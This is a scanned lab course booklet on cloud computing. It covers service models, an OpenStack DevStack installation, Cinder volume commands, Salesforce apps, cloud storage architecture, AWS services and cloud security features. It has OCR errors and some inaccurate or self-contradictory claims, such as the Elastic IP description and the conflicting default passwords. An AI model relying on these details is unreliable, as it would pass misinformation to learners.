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LET US BEGIN HERE

The Course on the theme of Cyber Attack: Use of Technology in Cyberspace is divided into two
Blocks. It comprises eights Units ( four units in each block) in all. A schematic representation of the
design of the Units is given below:

Unit X

X.0  Objectives

X.1  Introduction

X.2  Section 1 (Main Theme)
X.2.1 Sub-Section 1 of Section 1
X.2.2 Sub-Section 2 of Section 1

...................................... Check Your Progress

X.3  Section 2 (Main Theme)
X.3.1 Sub-Section 1 of Section 2
X.3.2 Sub-Section 2 of Section 2

...................................... Check Your Progress

X.n  Let Us Sum Up Check Your Progress:
The Key

The section Learning Outcomes in each Unit articulates briefly:
o what we expect from you once you complete working on the Unit.

The Units are divided into sections for easy reading and better comprehension. Each section is
indicated distinctly by BOLD CAPITALS and each sub-section by relatively smaller but bold
typeface. The significant divisions within sub-sections are in still smaller but bold typeface so as
to make it easier for you to see their place within sub-sections, and the items which need to be
highlighted are numbered [i.e. (i). (ii),etc.]. For purposes of uniformity we have employed the same
scheme of ‘partitioning’ in every Unit throughout the course. Towards the end of each Unit, under
the heading ‘Let Us Sum Up’, we summarise the whole Unit for purposes of recapitulation and
ready reference.



Besides, self-check exercises under the captions Check Your Progress have been provided at a few
places in each of these Units which invariably end with model/sample answers to the questions set
in these exercises.

What, perhaps, you would like to do is to go through the Units and jot down important points as you
read. This will help you keep track of and assimilate what you have been reading in a particular
Unit and answer the ‘self-check exercises’. These exercises are not meant to be submitted to us
for correction and evaluation. The exercises are meant to function as study tools to help you keep
on the right track as you read the Units. The points you have jotted down will help you in answering
the questions. If required, you may as well take a quick look through the relevant pages to locate the
answers.

We would like you to work out the answers in the blank space(s) provided in this booklet. The
purpose of giving self-check exercises will be served satisfactorily if you compare your answers
with the model ones given at the end of each Unit, after having written your answer in the blank
space. You may be tempted to have a furtive glance at the model answer(s), as soon as you
come across an exercise. But we do hope that you will overcome the temptation, and turn to the
model answers (which are not the best answers necessarily) only after you write yours. Each block
or combination of blocks will have at least one assignment which should be sent to us for
evaluation. In all, you may have to work on two/three assignments for a Course.

The following norms have to be strictly practised while you are working through the assignments.
e The answer should be precise and well-documented.

e Before you put down anything in words, assimilate what you have read, integrate it with what
you have gathered from your experience and feed it into your answer.

o Make the best use of the Block and additional reading materials for diligently working through
the assignments.

e Write your roll number legibly as indicated in the “Students’ Programme Guide”.



COURSE INTRODUCTION

This course introduces you to practically work with the most
powerful concepts i.e. Cyber Attacks, Cloud Security and Data
Analytics and Recovery. After completing this course you will be
able to solve problems for various techniques of Cyber Attacks,
Cloud Security and Data Analytics and Recovery, you learned in
MSEL-032 (Cyber Attacks, Cloud Security and Data Analytics and
Recovery) course of this programme.

In order to have better understanding you are advised to firstly get
the conceptual clarity of the various concepts presented in the
MSEL- 032(Cyber Attacks, Cloud Security and Data Analytics and
Recovery) course of this programme, and then implement your
understanding to solvethe problems given in the various sessions
of this course.

This block consists of following Lab sessions:

° Lab Session on Cloud Server Implementation and Security
° Lab Session on IT Audit and Penetration Testing
° Lab Session on Mobile Phone Auditing and Data Recovery

° Lab Session on Hands on open source Data Analytics and Recovery Tools



CLOUD SERVER IMPLEMENTATION AND SECURITY

Structure
1.0 Introduction
1.1 Learning Outcome
1.2 Introduction to Cloud Computing
1.2.1  Study and implementation of infrastructure as Service using Open Stack
1.2.2  Deployment of OpenStack using DevStack
1.3 Create Custom Apps for Salesforce Classic
1.3.1 Platform Virtualization
1.3.2 Characteristics of Platform Virtualization
1.4 File Storage in Cloud
1.4.1 Architecture
1.4.2 Challenges in Cloud Storage
1.5 Cloud Case Study
1.5.1 Amazon Cloudwatch
1.5.2 Amazon Elastic IP Address
1.6 Cloud Storage Providers
1.7 Security in Cloud Computing
1.7.1 Security Features
1.7.2 Security recommendations and risks
1.7.3 Protective recommendation
1.8 Let Us Sum Up
1.9 Session wise- list of lab assignments
1.10 Check Your Progress: The Key

1.0 Introduction

Cloud computing is in a growing market throughout sectors for digital process transformation. That is why it
is preferred among business owners who want to stay up with the latest manufacturing trends. On the other
hand, cloud implementation solutions are still too complicated for non-technical people. As a result, cloud-
computing providers began providing expert assistance. Cloud Computing guarantees that IT services are
implemented consistently across all industries. Cloud computing consulting services make this feasible. They
concentrate on how to use cloud computing in a variety of industries. Understanding the definition of cloud
computing is the first step in implementing it. Let us have a look at how cloud computing functions. That is
preferable before we talk about how to put cloud computing into practice. Cloud computing refers to the use
of the internet to supply computing resources. Infrastructure, environment, and software are all part of these
computational services. What distinguishes cloud computing from other computing resources? Its ability to
be accessed from a distance. Availability of resources via the internet allows corporate data to be accessed
from anywhere, at any moment. It will be easier to collaborate if you know how to use cloud computing.
This has the potential to reshape the corporate workflow. A company's ability to utilize cloud computing can
help with production. This is accomplished by delivering real-time information. As a result, firms will have
an easier time monitoring the quality and amount of their output. It is recommended that business owners

understand how to use cloud computing services.



1.1 Learning Outcome

This is the first unit of this course, which seeks to introduce and explain the various concepts and definitions
generally used in Cloud Computing. This unit covers the fundamentals of Cloud Computing, including the
cloud server architecture, why it is essential, what Cloud security specialists do to secure data, and the
various case studies. What is cloud computing, and how does it work? We'll offer you an overview of cloud
computing in this chapter and some information on the many features of cloud computing and information

security in cloud computing.

1.2 Introduction to Cloud Computing

Cloud computing provides on-demand access to computer resources—apps, Servers, storage systems,
developer tools, communication infrastructure, and more—hosted in a remote data centre controlled by a
cloud services provider over the internet (or CSP). The CSP charges a monthly subscription or charges based
on the usage of specific resources. Cloud computing is Internet-based computing in which users may access
hardware and software components on request. It is a byproduct and repercussion of the internet's easy
accessibility to remote computer locations. You may utilize software given via the internet in your browser
without installing it, host a program on the internet, build up your online file server and database system, and
more using cloud computing. Data storage, data recovery, emails, virtualization software, software
programming and implementation, big data analytics, and consumer web apps are among the many use cases
for businesses of all sizes and industries using the cloud. Healthcare businesses, for instance, are utilizing the
cloud to provide more individualized therapies for their patients. Companies in the financial services industry
are turning to the cloud to help them prevent and detect fraud in realtime. Video game developers are also
utilizing the cloud to provide online games to thousands of players worldwide.

The cloud provides you quick access to various technologies, allowing you to create more quickly and
construct almost anything you can dream of. You may instantly spin up resources as needed, including
computation, storage, databases, the Internet of Things, deep learning, data lakes and statistics, and so much
more. Information communication technologies may be deployed in minutes, allowing you to get from
concept to implementation numerous orders of magnitude quicker than before. This offers you the ability to
try new things, explore new ideas, and alter your business. You do not have to over-provision capacity
upfront with cloud technology to manage future peak levels of company activity. Instead, you allocate the
exact quantity of resources that you require. As your company needs change, you may adjust these
capabilities up or down to expand and reduce capacity immediately. You may exchange fixed expenditures
for variable expenses on the cloud and only pay for IT as you use it. Furthermore, the variable charges are far
less than what you would spend if you did it yourself due to economies of scale. You may quickly grow to
new geographic locations and deliver internationally using the cloud.

Service Models

Cloud computing is based on service models. There are three basic categories of cloud computing.



1. Infrastructure as a Service

2. Platformas a Service

3. Software as a Service

Every form of cloud computing offers varying degrees of control, customization, and administration,

allowing you to choose the best services collection for your purposes.

1. Platform as a Service (PaaS) - PaaS is a cloud computing model where the cloud service provider
delivers hardware and software tools over the internet. It relieves you of the burden of managing
underlying infrastructure (most common hardware and software platforms), allowing you to
concentrate on the deployment and administration of your applications. This will enable you to be
more productive since you will not have to deal with resource procurement, production scheduling,
updating software, patching, or any other homogeneous heavy lifting that comes with operating your
program. Users have relatively little influence over their software and development environment
while using PaaS services. PaaS providers impose a software layer on top of the hardware they
provide, compelling customers to interact with that layer. This is not always a bad thing because
PaaS vendors make it easier for customers to build their web applications by reducing the technical
knowledge required. Google App Engine is an instance of a PaaS service. Google App Engine may
be used to host a web application and leverage the database and file storage systems supplied by
Google App Engine to supplement the application. Nevertheless, because Google App Engine is a
PaasS, the application can only be coded in Java or Python.

2. Infrastructure as a Service (laaS) - The basic building blocks of cloud computing are contained in
laaS. It usually gives users access to networking capabilities, virtual or dedicated computers, and
data storage space. laaS allows you to have the most flexibility and independence over your IT
infrastructure. It is pretty comparable to existing IT resources that many IT organizations and
programmers are already familiar with laaS companies give customers hardware and the bare
essentials of software, such as virtual machines and hard drive space, on which they may develop.
Users have a lot of control over the services provided by laaS providers since they may customize
settings significantly and use any type of software or coding ecosystem on top of the services.
Rackspace, for instance, is an laaS provider.

3. Software as a Service (SaaS) - SaaS gives you a fully functional product managed and maintained by
the service provider. Most of the time, when people talk about SaaS, they are talking about end-user
apps like web-based email. You don't have to worry about how the product is updated or how the
core architecture is managed when using a SaaS. All you have to do now is consider how you'll
utilize the programme. SaaS companies, in essence, give the software to consumers over the internet
via a web browser. Google Docs is an example of a SaasS, as it allows users to modify documents

using software that is distributed over the internet. The significant benefit of utilizing a SaaS would
8



be that you don't have to bother about setup, storage space, or loss of data due to PC failures or
updates. The cloud vendor takes care of everything and allow you to use the software trough web
browser.

Principles of Cloud Computing

e Resource Provisioning: Cloud computing companies take advantage of significant economies of
scale by pooling their resources. They assemble a large number of servers and hard drives and
implement thesame settings, security, and other features to all of them.

e Elasticity: Adding extra hard drive space or server connectivity on-demand can be accomplished
withonly a few mouse clicks. Cloud computing also offers geographic scalability, with the option of
replicating data across many data centers across the world.

e Automatic resource deployment: The user merely needs to pick the types and characteristics of the
services he requires, and the cloud services provider will set up and hook them up for him
effortlessly.

e Virtualization: Customers do not have to be concerned about the physical status of their gear, nor do
they have to be concerned about device interoperability, thanks to virtualization.

e Pay what you use: Consumers are only charged for what they use with metered billing.

1.2.1  Study and implementation of infrastructure as Service using Open Stack

OpenStack is a free and open source, cloud computing software platform that is widely used in the
deployment of infrastructure-as-a-Service (laaS) solutions. The core technology with OpenStack comprises a
set of interrelated projects that control the overall layers of processing, storage and networking resources
through a data center that is managed by the users using a Web-based dashboard, command-line tools, or by
using the Restful API. Currently, OpenStack is maintained by the OpenStack Foundation, which is a non-
profit corporate organization established in September 2012 to promote OpenStack software as well as its
community. Many corporate giants have joined the project, including GoDaddy, Hewlett Packard, IBM,
Intel, Mellanox, Mirantis, NEC, NetApp, Nexenta, Oracle, Red Hat, SUSE Linux, VMware, Arista
Networks, AT&T, AMD, Avaya, Canonical, Cisco, Dell, EMC, Ericsson, Yahoo!, etc:

1.2.2  Deployment of OpenStack using DevStack

DevsStack is used to quickly create an OpenStack development environment. It is also used to demonstrate
the starting and running of OpenStack services, and provide examples of using them from the command line.
DevStack has evolved to support a large number of configuration options and alternative platforms and
support services. It can be considered as the set of scripts which install all the essential OpenStack services in

the computer without any additional software or configuration. To implement DevStack, first download all



the essential packages, pull in the OpenStack code from various OpenStack projects, and set everything for

the deployment.

To install OpenStack using DevStack, any Linux-based distribution with 2GB RAM can be used to start the

implementation of laaS.

Here are the steps that need to be followed for the installation.

1. Install Git

$ sudo apt-get install git

2. Clone the DevStack repository and change the directory. The code will set up the cloud infrastructure.

$ git clone http://github.com/openstack-dev/devstack $ cd devstack/

/devstack$ Is

accrc exercises HACKING.rst rejoin-stack.sh tests AUTHORS exercise.sh lib run_tests.sh tools clean.sh

extras.d LICENSE samples unstack.sh driver_certs files localrc stackrc eucarc functions openrc stack-

screenrc

exerciserc functions-common README.md stack.sh

stack.sh, unstack.sh and rejoin-stack.sh are the most important files. stack.sh script is used to setup

DevStack.unstack.sh is used to destroy the DevStack setup. If you are on the earlier execution of ./stack.sh,

the environment can be brought up by executing the rejoin_stack.sh script.

3. Execute the stack.sh script:

/devstack$ ./stack.sh

Here, the MySQL database password is entered. There’ s no need to worry about the installation of MySQL

separately on this system. We have to specify a password and this script will installMySQL,and
usethispasswordthere.

Finally, we will have the script ending as follows:

+ merge_config_group /home/r/devstack/local.conf post-extra
+ local localfile=/home/r/devstack/local.conf

+ shift

+ local matchgroups=post-extra

+ [[ -r /nome/r/devstack/local.conf ]]

+ return 0

+ [[ -x /home/r/devstack/local.sh 1]

+ service_check

+ local service

+ local failures

+ SCREEN_NAME=stack

+ SERVICE_DIR=/opt/stack/status
10



+ [[ ! -d fopt/stack/status/stack ]]
++ Is  /opt/stack/status/stack/*.failure’

++ /bin/true

+ failures=

Rl R R |

+ set +0 xtrace

. Horizon is now available at http://1.1.1.1/

. Keystone is serving at http://1.1.1.1:5000/v2.0/

. Examples on using the novaclient command line are in exercise.sh
. The default users are: admin and demo

. The password: nova

. This is your host IP: 1.1.1.1

After all these steps, the machine becomes the cloud service providing platform. Here, 1.1.1.1 is the IP of my
first network interface.

We can type the host IP provided by the script into a browser, in order to access the dashboard ¢ Horizon’ .
We can log in with the username ‘ admin’ or * demo’ and the password ‘ admin’ .

You can view all the process logs inside the screen, by typing the following command:

$ screen —x

Executing the following will kill all the services, but it should be noted that it will not delete any of the code.
To bring down all the services manually, type:

$ sudo killall screen

localrc configurations

localrc is the file in which all the local configurations (local machine parameters) are maintained. After the
first successful stack.sh run, you will see that a localrc file gets created with the configuration values you
specified while running that script.

The following fields are specified in the localrc file:

DATABASE_PASSWORD

RABBIT_PASSWORD

SERVICE_TOKEN

SERVICE_PASSWORD

ADMIN_PASSWORD

If we specify the option OFFLINE=True in the localrc file inside DevStack directory, and if after specifying
this, we run stack.sh, it will not check any parameter over the Internet. It will set up DevStack using all the

packages and code residing in the local system. In the phase of code development, there is need to commit
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the local changes in the /opt/stack/nova repositorybefore restack (re-running stack.sh) with the
RECLONE=yes option. Otherwise, the changes will not be committed.

To use more than one interface, there is a need to specify which one to use for the external IP using this
configuration:

HOST _IP=XXX.XXX.XXX. XXX

Cinder on DevStackCinder is a block storage service for OpenStack that is designed to allow the use of a
reference implementation (LVM) to present storage resources to end users that can be consumed by the
OpenStack Compute Project (Nova). Cinder is used to virtualise the pools of block storage devices. It
delivers end users with a self-service API to request and use the resources, without requiring any specific
complex knowledge of the location and configuration of the storage where it is actually deployed.

All the Cinder operations can be performed via any of the following:

1. CLI (Cinder’ s python-cinderclient command line module)
2. GUI (Using OpenStack’ s GUI project horizon)
3. Direct calling of Cinder APIs

Creation and deletion of volumes: To create a 1 GB Cinder volume with no name, run the following
command:

$ cinder create 1

To see more information about the command, just type cinder help <command>
$ cinder help create

usage: cinder create [--snapshot-id <snapshot-id>]

[--source-volid <source-volid>] [--image-id <image-id>]

[--display-name <display-name>]

[--display-description <display-description>]

[--volume-type <volume-type>]

[--availability-zone <availability-zone>]

[--metadata [<key=value> [<key=value> ...]]]

<size>

Add a new volume.

Positional arguments:

<size> Size of volume in GB

Optional arguments:

--snapshot-id <snapshot-id>

Create volume from snapshot id (Optional,

Default=None)

--source-volid <source-volid>
12



Create volume from volume id (Optional, Default=None)

--image-id <image-id>

Create volume from image id (Optional, Default=None)

--display-name <display-name>

Volume name (Optional, Default=None)

--display-description <display-description>

Volume description (Optional, Default=None)

--volume-type <volume-type>

Volume type (Optional, Default=None)

--availability-zone <availability-zone>

Availability zone for volume (Optional, Default=None) --metadata [<key=value> [<key=value> ..]]
Metadata key=value pairs (Optional, Default=None)

To create a Cinder volume of size 1GB with a name, using cinder create —display-name myvolume:

$ cinder create -- display-name myvolume 1

| attachments | [] |

| availability_zone | nova |

| bootable | false |

| created_at | time | | display_description | None |
| display_name | myvolume | |id | id |

| metadata | {} |

|size |1

| snapshot_id | None |

| source_volid | None |

| status | creating |

| volume_type | None |

To list all the Cinder volumes, using cinder list:

$ cinder list

ID Status Display Name Size Volume type Bootable Attached To id1 Available Myvolume 1 None False id2
Available None 1 None False

13



To delete the first volume (the one without a name), use the cinder delete <volume_id>command. If we
execute cinder list really quickly, the status of the volume going to ‘ deleting’ can be seen, and after some
time, the volume will be deleted:

$ cinder delete id2

$ cinder list

ID Status Display Name Size Volume type Bootable Attached To id1 Available Myvolume 1 None False id2
Deleting None 1 None False

Volume snhapshots can be created as follows:

$ cinder snapshot-create id2

| Property | Value |

N S — R S ——— —t

| created_at | TimeStamp |

| display_description | None |
| display_name | None |

| id | snapshot2 |

| metadata | {} |

|size |1

| status | creating |

| volume_id | id2 |

Check your progress 1
Note: a) Space is given below for writing your answer.

b) Compare your answer with the one given at the end of the unit.
i) What are the five crucial principles of Cloud Computing?
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1.3Create Custom Apps for Salesforce Classic

Salesforce Sales Cloud is a customer relationship management (CRM) platform designed to support sales,
marketing and customer support in both business-to-business (B2B) and business-to-customer (B2C)
contexts. Sales Cloud is a fully customizable product that brings all the customer information together in an
integrated platform that incorporates marketing, lead generation, sales, customer service and business
analytics and provides access to thousands of applications through the AppExchange. The platform is
provided as Software as a Service (SaaS) for browser-based access; a mobile app is also available.

Create custom apps to give your Salesforce Classic users’ access to everything they need all in one place.

If you're new to custom apps, we recommend using Lightning Platform quick start to create an app. With this
tool, you can generate a basic working app in just one step.
If you’ve already created the objects, tabs, and fields you need for your app, follow these steps. With this

option, you create an app label and logo, add items to the app, and assign the app to profiles.

1. From Setup, enter Apps in the Quick Find box, then select Apps.

2. Click New.

8. If the Salesforce console is available, select whether you want to define a custom app or a Salesforce
console.

4. Give the app a name and description.

An app name can have a maximum of 40 characters, including spaces.

5. Optionally, brand your app by giving it a custom logo.

6. Select which items to include in the app.

7. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down
menu below the list of selected tabs. This determines the first tab a user sees when logging into this app.

8. Choose which profiles the app will be visible to.

9. Check the Default box to set the app as that profile’s default app, meaning that new users with the

profile see this app the first time they log in. Profiles with limits are excluded from this list.

10. Click Save

1.3.1 Platform Virtualization

Platform virtualization is a technique that abstracts a single server's existing hardware resources into several
virtual data centers, each of which can run various operating systems. The hypervisor is the virtual machine's
brain. This is the software that lies between the operating system and the hardware. Its primary function is to
allocate system resources. Each of these operating systems acts as though it had complete control over the
server's resources. Figure 1 shows how this works. Several of the three operating systems is a virtual

15



machine image of the different operating systems. Such machine images are snapshots of operating systems
then put into the virtual machine environment.

It is crucial to remember that you are not paying for the entire server. Instead, cloud service providers give
you a virtual machine image, one of many in the virtual computing ecosystem. Figure 1 shows the diagram

for platform virtualization.

el T
VWindows Lirnux Solaris
M Py
Hypervisor
Hardware Layer

Figure 1: Diagram for Platform Virtualization

1.3.2 Characteristics of Platform Virtualization
Cloud computing providers may deliver cost-effective, quickly deployable, and scalable servers, thanks to
platform virtualization's capabilities. Such characteristics are as follows:
e Server use has increased: Without platform virtualization, the typical server in a corporate data
centre is only used 5 to 10% of the time. Even at maximum load, the highest is approximately 20%.
Cloud services use platform virtualization to operate many virtual servers on a single physical server,
allowing them to lease out more virtualized resources with the same number of underlying hardware.
e Hardware constraints have been removed: Cloud computing has removed the hardware
constraint. Now the consumers no longer worry about hardware compatibility concerns. All they
have to do now is to concentrate on software packages and contractual arrangements. Furthermore,
developers should consider the operating system they require and the amount of efficiency they
demand.
e Removal of software requirements: The virtualized environment manages device driver
dependencies, so you do not need to worry about them with virtualization.
e Quick Installation and Teardown: Deploying a "server" is as simple as loading a virtual machine

image with virtualization, and it is also simple to deconstruct a machine picture.
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Check your progress 2
Note: a) Space is given below for writing your answer.

b) Compare your answer with the one given at the end of the unit.
i)What is the Hypervisor layer? What are its functions?

------------------------------------------------------------------------------------------------------------------------------
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................
..............................................................................................................................

1.4 File Storage in Cloud

The following parts will present the basic ideas of cloud storage, demonstrate their many advantages, and
examine some of the existing cloud storage challenges.

1.4.1 Architecture

Cloud storage providers commonly use a three-layer design. In the diagram below, one can see a
representation of the overall system architecture and some of the features associated with it in modern cloud
storage.

F ront E n d e Scalability and multi-tenancy

* Access Protocol

Sto rage e Control

. * Security
Log IC e Reliability and availability

Back-end
Storage

* Storage efficiency

Figure 2: Diagram for cloud architecture
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e The front end is responsible for client-server communication, and different APIs are available to
access the actual storage. This layer is also concerned with attaining outcomes such as multi-tenancy,
which we shall define in the following chapter. Furthermore, it offers a variety of scalability options
via various techniques.

e The storage logic layer is in charge of several features and administrative tasks, such as guaranteeing
a high level of accessibility and dependability. It's also a type of security fence. In addition, it serves
as a cloud storage administrator.

e The back-end is responsible for deploying physical data storage technologies such as GFS (Google
File System). It entails various techniques for increasing storage efficiency and decreasing
infrastructure expenses.

This section will go over several of the qualities mentioned in the previous chapter's graphic in greater depth.
Multi-tenancy relates to the capability of a specific incident of service to serve a large number of clients or
renters. It also refers to many tiers of the cloud storage stack, allowing multiple customers to adhere to the
same cloud processing capabilities while maintaining security and privacy over their sensitive information.
Cloud storage's automated management is an important feature. In general, there are two types of costs: the
expense of the physical storage system and the cost of operating it. The management cost is concealed, yet it
accounts for a significant portion of the total cost in the long term. The cloud storage system must be capable
of adding more storage and dynamically configuring itself to handle it and automatically detecting faults.
Since cloud computing is fundamentally about ease, automated management is essential in cloud storage.
One of the main reasons to pick cloud storage over conventional data hosting is the uniformity of
functionality throughout the world. Files are typically kept on one server in traditional file hosting, and
therefore clients that are far distant from that server would have poor performance. There are two degrees of
geographical flexibility with cloud storage. The file is dispersed over numerous servers in the exact location
of your original data. Second, some CDNs (content delivery networks) are available on-demand. These are
networks with servers located worldwide, allowing for rapid content delivery to customers anywhere around
the globe. Cloud storage may reach the same high degree of high-performance electricity worldwide by
utilizing CDNSs.

One of the key distinctions between cloud services and regular storage is access. Several cloud storage
providers now provide numerous access mechanisms, but the Web-Service API remains the most popular.
The REST (Representational State Transfer) framework is used to implement these. The structure is used to
create protocols that run on top of the HTTP layer, allowing HTTP to be used as a transport medium. APIs
that follow this design are stateless and, as a result, reasonably efficient. Larger cloud storage providers such
as Amazon (S3) and Microsoft Azure presently use this strategy. Also, there are additional types of access
mechanisms, such as file-based APIs like NFS and FTP, which IBM Smart Business Storage Service

supports.
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One of the fundamentals of cloud storage is high reliability. With today's technical advancements, one would
believe that hard disc failures and data loss are no longer a typical occurrence. On the other hand, hardware
failures are unavoidable and can be disastrous back-ups are inadequate. To assure dependability, cloud
companies often choose one of two ways. The same information is usually kept on many computers at large
cloud service providers. Google's cloud back-end storage is often separated into massive clusters and broken
down into 64MB bits. Each of these pieces has a unique ID and is duplicated across several servers in their
data centres. Additionally, these devices are powered by various power sources.

Certain service providers also use data-reconstruction methods to aid with lost or damaged data. The
Information Dispersal Algorithm is one of these algorithms. This technique is capable of constructing a
complete collection of data from several pieces of previously scattered data. If the data is partitioned into
four pieces, for example, it may still be rebuilt if one of the sites that has one part of the data is destroyed. It
is also feasible to use other ratios. For example, 20 pieces will allow for eight failed locations. To lessen the
possibilities of all components of the data being lost at the same time, these bits of data are frequently
scattered over multiple geographical regions.

Another feature of cloud storage worth highlighting is its reasonable cost-to-storage ratio. Additional data
should be stored with the same underlying hardware in order to cut costs. Using data-reduction methods to
lower the amount of resources data consumes is a frequent way to do this. There are two methods to this that
are notable: De-duplication is the eradication of any identical copies of data detected via the screening of
data signatures. Compression is the encoding of data in another more economical format to accomplish data

reduction. When storing sensitive data on the cloud, high levels of protection are needed.

Check your progress 2
Note: a) Space is given below for writing your answer.

b) Compare your answer with the one given at the end of the unit.
i) What are the three layers of cloud architecture?
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1.4.2 Challenges in Cloud Storage
The speed and latency of cloud storage, as well as the integration of cloud applications into current IT
infrastructure, are two problems unique to cloud storage.

e A company will need to incorporate cloud storage into their present workflow or other kinds of
offline storage sites before using it. File access methods used by traditional file servers and cloud
storage resources are not the same. Servers access their storage using block protocol, while cloud
storage services typically only give web protocol access via REST-based APIs and SOAP-based
APIls, which are APIs built on top of the HTTP protocol to allow more efficient access. To manage
the operations, each of the major suppliers has its own set of APIs. This adds a layer of complexity
to the situation. Conventional file storage operations in mature businesses are often more
sophisticated. Integrating the usage of cloud storage into their present workflows will take a
significant amount of time, money, and effort. A younger firm with a less complicated architecture,
on the other side, will not encounter the same issue since it will be much easier to incorporate cloud
storage into a process that has not yet matured.

e Companies may utilize cloud storage to back up large volumes of data on a regular basis. Data will
be sent to a physically distant location as part of these back-up processes. Compared to offline
storage technologies, this will invariably be slower. While cloud storage is easier to use, better
scalable for businesses, and more trustworthy, it still lags behind offline storage alternatives in terms
of performance. In principle, today's cloud storage is geared for processes that require less
processing power. Outside of cloud storage, organizations should leave operations with a high-

performance need. Real-time bank transactions are one example of this.

1.5Cloud Case Study

Because Amazon EC2 is only a platform virtualization solution, there are difficulties with reliability. To

address this issue, Amazon Web Services (AWS) has created a number of additional service options.

1.5.1 Amazon Cloudwatch

For DevOps engineers, developers, site reliability engineers (SRES), IT managers, and product owners,
Amazon CloudWatch provides a monitoring and observability solution. To monitor your apps, respond to
system-wide performance indicators, and optimize resource use, CloudWatch offers you with data and
actionable insights. CloudWatch logs, metrics, and events are used to collect monitoring and operational
data. You obtain total visibility of your AWS resources, apps, and services running on AWS and on-
premises, as well as a single picture of operational health. To keep your apps operating smoothly, you can

use CloudWatch to identify aberrant activity in your environments, trigger alerts, analyze logs and statistics
20



side by side, take automatic actions, troubleshoot problems, and find insights. Cloudwatch is used in
situations where an instance has been overburdened with requests and the application is slowing down as a
result of the congested resources. Cloudwatch keeps track of the performance statistic for your zone based on
how it is set up. If it fails to meet a given metric requirement (for example, responses lasting longer than 5
seconds), an alarm will sound virtually, and administrators will be notified. At the same time, the developer
may define actions that duplicate instances to manage the load if he so desires. Cloudwatch is limited to a
certain geographical area.

In the form of performance measures, logs, and occurrences, new advancements, such as those built on
microservices frameworks, generate massive amounts of data. Amazon CloudWatch provides you to gather,
retrieve, and correlate data from all of your AWS services, apps, and services operating on AWS and on-
premises on a single platform, allowing you to break down data silos and swiftly address issues. Set alarms
and automates actions based on established criteria or machine learning (ML) algorithms that detect aberrant
metrics. To avoid billing overages, you can, for example, initiate Amazon EC2 Auto Scaling automatically
or halt an instance. CloudWatch Events may also be used to initiate serverless processes with AWS Lambda,
Amazon SNS, and AWS CloudFormation.

1.5.2 Amazon Elastic IP Address

Nonetheless, traffic from all around the world arrives in the actual world. We also want visitors to be
intelligently routed to the closest server that hosts our service based on their location. This is exactly what
Amazon Elastic IP Address can help us with. Amazon Elastic IP Address analyses incoming traffic,
determines the nearest region, and redirects traffic to that region by establishing a common IP address
connection to all virtualized instances. As a result, the challenge of horizontal availability has been resolved.
A static IPv4 address built for dynamic cloud computing is known as an elastic IP address. Every AWS
account is assigned an Elastic IP address, which is yours until you relinquish it. You can disguise the failure
of an instance or programme by immediately rebinding the address to some other example in your account
using an Elastic IP address. You may also include the Elastic IP address in a DNS record for your website so
that it points to your instance. An Elastic IP address is a temporary public IP address that you may assign to

any EC2 instance in a given area until you release it.

1.6 Cloud Storage Providers

In this part, we will look at several Amazon Cloud Storage services as instances of cloud storage services.
Here are a few of services provided by AWS.

1. Amazon Elastic Block System (EBS) - Amazon EBS, or Amazon Elastic Block System, allows you

to attach storage volumes ranging from 1GB to 1TB to EC2 instances. The snapshot functionality of

EBS is one of its most essential features. Snapshots, as the name suggests, allow you to save the

current state of the EBS, allowing you to simply restore or replicate data. If given permission, such
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snapshots may be shared with other users, letting them access the same data like you in your EBS
and making collaboration much simpler. For the first year, new customers get 30GB of EBS storage,
2 million I/O, and 1 GB of snapshot storage each month.

Simple Storage Service- Simple Storage Service or S3, is a type of storage that Amazon offers to its
customers. Buckets are the most common name for this type of storage. S3 lets you store an
unlimited number of things, each up to 5TB in size. This is mostly used to back up your data and to
collaborate with other services such as EC2. S3 duplicates the data you supply in various facilities in
your selected area to guarantee your data is secure and retrievable, ensuring endurance and
dependability. If you want to protect your data for security purposes, Amazon also offers an Amazon
S3 Encryption Client library.

Amazon Import/Export- Amazon Import/Export is a service that allows you to ship a storage device
to an address provided by Amazon so that they may immediately transfer the enormous quantities of
data on it into or out of S3 or EBS. Direct transmission is more faster than going over the internet,
albeit it may be more expensive in terms of shipping charges. You may then rapidly acquire the
information you desire, whether you need to retrieve data or share it with other business contacts.
The Amazon Storage Gateway- The Amazon Storage Gateway is presently in beta testing. This
functionality, on the other hand, allows you to move data from on-premises storage to S3 in order to
assure its availability and longevity. To keep things even easier, these data are saved in S3 as EBS
snapshots, allowing you to quickly recover them using EBS replication and EC2 instructions to
connect the EBS storage. AWS Direct Connect, which establishes a private connection between you
and AWS just for the transmission of files, can enhance transfer speed even further.

Microsoft Azure, JustCloud, zipCloud, and livedrive are some of the most popular cloud storage
solutions. The services I just listed are significantly different from what a typical user may desire,
which is to just store some of their data in the cloud. These services allow users to share files using
ways that may be utilized in web development or on websites. New users may be unfamiliar with the
cloud and would like to try it out before joining the group. In that scenario, we suggest Amazon Web
Services, which is both user-friendly and offers a year of restricted free usage as well as a variety of

features to assist you in getting started.

1.7Security in Cloud Computing

There is presently no meaningful security standard in place for cloud computing. Cloud service companies

use their own unique security requirements and technology. Clients must guarantee that cloud security

satisfies their own security protocols and agrees with their regulations through requirements collecting and

provider risk assessments in a vendor cloud model. Because of the nature of the subject, most of this material

will be presented to big enterprises from the viewpoint of SMBs (Small-medium Businesses). We will look
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at the security features supplied by cloud computing companies, the security threats associated with cloud
computing, and some cloud security advice.

1.7.1 Security Features

Using cloud computing has a variety of security advantages. The amount of security, nevertheless, is
determined by the supplier. As a guide to many of the security mechanisms and benefits of cloud computing,
we've gathered some of the most important security characteristics for you from multiple sources in this
chapter.

o Economies of Scale: By combining resources on a large scale, security gains are realized in two
ways.

e Costs: When security measures are applied on a big scale, they will be less expensive. For the same
money, you might get greater security protection, including packet filtering, patch management, and
virtual machine fortification, for example.

e Major cloud service providers, including Amazon, Google, Azure, and Rackspace, all have vast
resources and experience in the subject of security. They may be able to provide greater security
measures than SMBs because of the concentrated work they put into security. For large enterprises,
it can also make the process easier.

e Data Security and Management: Using a centralized data model makes data security and
management easier.

e Physical data leakage is reduced: Internal data can be lost in a variety of ways, including the loss of
business thumb drives, laptops, and back-up discs. We can avoid this difficulty with cloud
technology since data is now kept in the cloud, away from physical devices.

e Benefits tracking: It is simpler to govern and monitor with centralized storage. Because there is just
one site where targeted assaults may occur, it is both easier and less expensive to establish security
safeguards on centralized data than on individual customers. The resources may then be immediately
repurposed for screening, traffic management, verification, encryption, and other security
procedures, increasing resistance to security threats.

e Incident Investigation: There are two ways that cloud storage may assist speed up the incident
investigation process.

